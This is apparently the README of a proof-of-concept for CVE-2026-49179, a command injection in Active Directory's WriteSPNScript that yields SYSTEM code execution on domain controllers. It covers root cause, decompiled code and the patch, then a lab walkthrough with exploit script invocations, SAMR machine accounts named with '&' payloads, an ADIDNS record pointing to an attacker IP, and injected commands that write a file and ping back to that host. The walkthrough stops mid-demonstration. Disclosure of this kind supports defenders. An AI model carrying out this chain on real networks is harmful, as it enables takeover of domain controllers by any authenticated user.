
Proof-of-concept and exploit scripts for CVE-2026-49179, a command injection in Active Directory's WriteSPNScript function enabling SYSTEM RCE on domain controllers.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Command Injection) |
| Affected Component | ntdsai.dll — WriteSPNScript function |
| Affected Systems | Windows Server 2016, 2019, 2022, 2025 (pre-patch) |
| Attack Vector | Authenticated domain user (any) |
| Impact | Remote Code Execution as SYSTEM on Domain Controller |
| Published | August 2026 |
The WriteSPNScript function in ntdsai.dll generates batch script commands for SPN (Service Principal Name) remediation during Active Directory maintenance operations. The function uses a format string to construct repadmin.exe /writespn commands but fails to sanitize the Distinguished Name (DN) parameter, allowing command injection through the & character (cmd.exe command separator).
The vulnerable format string:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parameters: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
The DN is derived from the machine account's Common Name (CN), which is set during account creation. When a machine account is created with shell metacharacters in its name, those characters flow unescaped into the generated script. When cmd.exe executes the script, & acts as a command separator, executing attacker-controlled commands as SYSTEM.
Active Directory has two primary protocols for managing machine accounts:
| Protocol | Character Validation | Shell Metacharacters |
|---|---|---|
| LDAP (SPN values) | Strict — CONSTRAINT_ATT_TYPE rejects & ; | ' \ $ ( )` | Blocked |
| SAMR (machine names) | Loose — validates basic account name format | Allowed: & ' \ $ ( ) ! space` |
This validation asymmetry is the root cause:
sAMAccountName, which becomes the CN and flows into the DNWriteSPNScript without sanitizationAt address 0x1802a98a0 in the unpatched binary:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formats the DN directly into the output buffer. No escaping, no quoting, no sanitization.
For a machine with CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interprets this as five separate statements:
| # | Statement | Result |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Fails (truncated DN) |
| 2 | ping attacker | INJECTED — executes as SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Fails (not a valid command) |
| 4 | ping attacker | INJECTED — executes again (from SPN param) |
| 5 | B | Fails (not a valid command) |
The injected command appears twice — once from the DN parameter and once from the SPN parameter (which also contains the machine name).
The patched WriteSPNScript (size: 1477 → 2005 bytes) makes three changes:
Two new sanitization functions applied to both the DN and SPN parameters:
EscapeForPowerShellSingleQuote() — escapes ' to prevent breakout from single-quoted stringsEscapeForNativeArgvBackslashesBeforeDoubleQuote() — escapes \ sequences before " for native argv parsing| Base (Vulnerable) | Patched | |
|---|---|---|
| Function | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Quoting | None | Single-quoted parameters |
| Output | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
An earlier revision had a feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled gating the fix. In the final patch, this flag was removed — the fix is always active and cannot be disabled.
| Host | Role | IP | OS |
|---|---|---|---|
| WINTERFELL | Domain Controller | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| Domain | north.sevenkingdoms.local | ||
| Low-priv user | samwell.tarly / Heartsbane | Normal domain user | |
| Admin user | robb.stark / sexywolfy | Domain admin |
Using spn_probe3.py, tested which characters SAMR accepts in machine account names vs what LDAP accepts in SPN values:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Key finding: SAMR allows all 8 shell metacharacters tested. LDAP blocks all of them. The injection vector is through SAMR-created machine names, not through SPN values.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Also created as samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
Confirmed: normal domain user (PR:L) can create machine accounts with & command injection in the name.
Normal domain users can add ADIDNS records. Used dnstool.py to create a short hostname pointing to the attacker:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Verified resolution on DC:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
Simulating the exact output WriteSPNScript would generate, executed on the DC:
File Write Proof:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP Callback Proof:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"